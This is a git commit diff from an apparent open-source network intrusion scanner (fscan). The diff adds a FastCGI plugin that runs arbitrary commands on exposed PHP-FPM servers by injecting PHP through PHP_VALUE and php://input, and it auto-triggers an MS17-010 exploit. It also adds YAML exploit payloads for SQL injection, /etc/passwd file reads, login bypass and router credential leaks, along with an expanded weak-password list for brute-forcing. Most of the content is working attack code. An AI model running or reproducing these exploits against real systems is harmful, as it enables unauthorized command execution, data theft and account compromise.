加入fcgi协议未授权命令执行扫描,优化poc模块

This commit is contained in:
shadow1ng 2021-05-29 12:13:10 +08:00
parent 61e814119d
commit 9d385eb26a
28 changed files with 533 additions and 40670 deletions

View File

@ -119,7 +119,7 @@ func SmbGhostScan(info *common.HostInfo) error {
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}

View File

@ -54,7 +54,7 @@ func NetBIOS(info *common.HostInfo) error {
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg

View File

@ -10,6 +10,7 @@ var PluginList = map[string]interface{}{
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,

365
Plugins/fcgiscan.go Normal file
View File

@ -0,0 +1,365 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
url := "/etc/issue"
if info.Path != "" {
url = info.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case info.Command == "read":
reqParams = ""
case info.Command != "":
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, info.Timeout)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(this.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}

View File

@ -1,9 +1,11 @@
package Plugins
import (
"errors"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)

View File

@ -81,7 +81,7 @@ func MS17010Scan(info *common.HostInfo) error {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@ -126,6 +126,9 @@ func MS17010Scan(info *common.HostInfo) error {
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
if common.SC != "" {
MS17010EXP(info)
}
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]

View File

@ -3,7 +3,7 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
@ -14,7 +14,7 @@ import (
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
WebScan.Inithttp(common.Pocinfo)
lib.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
@ -39,12 +39,17 @@ func Scan(info common.HostInfo) {
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
switch {
case info.Ports == "445":
//AddScan(info.Ports, info, ch, &wg) //smb
AddScan("1000001", info, ch, &wg) //ms17010
AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(info.Ports, info, ch, &wg) //fcgiscan
AddScan("1000003", info, ch, &wg) //http
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, ch, &wg) //plugins scan
default:
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {

View File

@ -40,7 +40,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
@ -48,7 +48,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Domain: info.Domain,
Workstation: "",
}
@ -66,7 +66,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
flag, err = SmblConn(info, user, pass, signal)
}()
select {
case <-signal:

View File

@ -5,9 +5,7 @@ import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"log"
"net/http"
"time"
)
//go:embed pocs
@ -32,15 +30,6 @@ func Execute(PocInfo common.PocInfo) error {
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
return nil
}
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}

View File

@ -128,7 +128,9 @@ var RuleDatas = []RuleData{
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
}
var Md5Datas = []Md5Data{
@ -150,4 +152,5 @@ var Md5Datas = []Md5Data{
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
}

View File

@ -30,18 +30,14 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
wg.Add(1)
for task := range tasks {
isVul, err := executePoc(task.Req, task.Poc)
if err != nil {
continue
}
isVul, _ := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
}
wg.Done()
}
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
@ -49,10 +45,11 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
Req: req,
Poc: poc,
}
wg.Add(1)
tasks <- task
}
close(tasks)
wg.Wait()
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
@ -72,7 +69,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
}
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println(err)
//fmt.Println("ParseRequest error",err)
return false, err
}
variableMap := make(map[string]interface{})
@ -80,11 +77,17 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
// 现在假定set中payload作为最后产出那么先排序解析其他的自定义变量更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
keys1 := make([]string, 0)
for k := range p.Set {
keys = append(keys, k)
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
keys = append(keys, k) //优先放入调用random系列函数的变量
} else {
keys1 = append(keys1, k)
}
}
sort.Strings(keys)
sort.Strings(keys1)
keys = append(keys, keys1...)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
@ -94,7 +97,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
//fmt.Println(p.Name," poc_expression error",err)
variableMap[k] = expression
continue
}
@ -114,6 +117,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
if err != nil {
//fmt.Println(p.Name," poc_payload error",err)
return false, err
}
variableMap["payload"] = fmt.Sprintf("%v", out)

View File

@ -433,15 +433,15 @@ func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
}
}
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}
func randomUppercase(n int) string {
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
return RandomStr(randSource, lowercase, n)
}

View File

@ -4,8 +4,10 @@ import (
"bytes"
"compress/gzip"
"crypto/tls"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
@ -21,6 +23,14 @@ var (
keepAlive = 15 * time.Second
)
func Inithttp(PocInfo common.PocInfo) {
//PocInfo.Proxy = "http://127.0.0.1:8080"
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil {
log.Fatal(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
dialer := &net.Dialer{
Timeout: dialTimout,

View File

@ -1,15 +0,0 @@
name: poc-yaml-clusterEngine-rce-cve-2020-21224
rules:
- method: POST
path: /login
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
body: op=login&username=;`echo 12345678987654321`&password=
follow_redirects: false
expression: |
response.status==200 && response.body.bcontains(b'12345678987654321')
detail:
author: jdr
info: CVE-2020-21224(ClusterEngineV4.0 RCE)

View File

@ -3,10 +3,10 @@ set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(rand)))
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
detail:
author: whami-root(https://github.com/whami-root)
links:

View File

@ -0,0 +1,17 @@
name: poc-yaml-ecology-validate-sqli
set:
r1: randomInt(8000, 9999)
r2: randomInt(800, 1000)
rules:
- method: POST
path: /cpt/manage/validate.jsp?sourcestring=validateNum
body: >-
sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: fuping
links:
- https://news.ssssafe.com/archives/3325
- https://www.weaver.com.cn/cs/securityDownload.asp

View File

@ -0,0 +1,11 @@
name: poc-yaml-finereport-v8-arbitrary-file-read
rules:
- method: GET
path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA")
detail:
author: Facker007(https://github.com/Facker007)
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8

View File

@ -0,0 +1,11 @@
name: poc-yaml-flir-ax8-file-read
rules:
- method: GET
path: "/download.php?file=/etc/passwd"
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Print1n(http://print1n.top)
links:
- https://juejin.cn/post/6961370156484263972

View File

@ -0,0 +1,10 @@
name: poc-yaml-h3c-secparh-any-user-login
rules:
- method: GET
path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
expression: |
response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body))
detail:
author: Print1n(https://print1n.top)
links:
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E

View File

@ -0,0 +1,24 @@
name: poc-yaml-ruijie-eg-info-leak
rules:
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=admin&password=admin?show+webmaster+user
expression: "true"
search: |
{"data":".*?(?P<username>\w+)\s?(?P<password>\w+)","status":1}
- method: POST
path: /login.php
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username={{username}}&password={{password}}
expression: |
response.status == 200 && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
detail:
author: Search?=Null
description: "Ruijie EG网关信息泄漏"
links:
- https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ

View File

@ -0,0 +1,15 @@
name: poc-yaml-ruijie-nbr1300g-cli-password-leak
rules:
- method: POST
path: /WEB_VMS/LEVEL15/
follow_redirects: false
headers:
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
body: |
command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
expression: |
response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest"))
detail:
author: abbin777
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -5,6 +5,8 @@ import (
"flag"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
)
@ -155,7 +157,9 @@ func CheckErr(text string, err error) {
}
func getpath() string {
filename := os.Args[0]
file, _ := exec.LookPath(os.Args[0])
path1, _ := filepath.Abs(file)
filename := filepath.Dir(path1)
var path string
if strings.Contains(filename, "/") {
tmp := strings.Split(filename, `/`)

View File

@ -10,23 +10,24 @@ var Userdict = map[string][]string{
"mongodb": {"root", "admin"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "P@ssw0rd!", "P@ssword", "p@ssword", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "huawei"}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!"}
var PORTList = map[string]int{
"ftp": 21,
"ssh": 22,
"mem": 11211,
"mgo": 27017,
"findnet": 135,
"netbios": 139,
"smb": 445,
"mssql": 1433,
"mysql": 3306,
"psql": 5432,
"redis": 6379,
"mysql": 3306,
"smb": 445,
"fcgi": 9000,
"mem": 11211,
"mgo": 27017,
"ms17010": 1000001,
"cve20200796": 1000002,
"web": 1000003,
"findnet": 135,
"netbios": 139,
"smb2": 1000004,
"all": 0,
"portscan": 0,
"icmp": 0,
@ -36,13 +37,14 @@ var PORTList = map[string]int{
var Outputfile = getpath() + "result.txt"
var IsSave = true
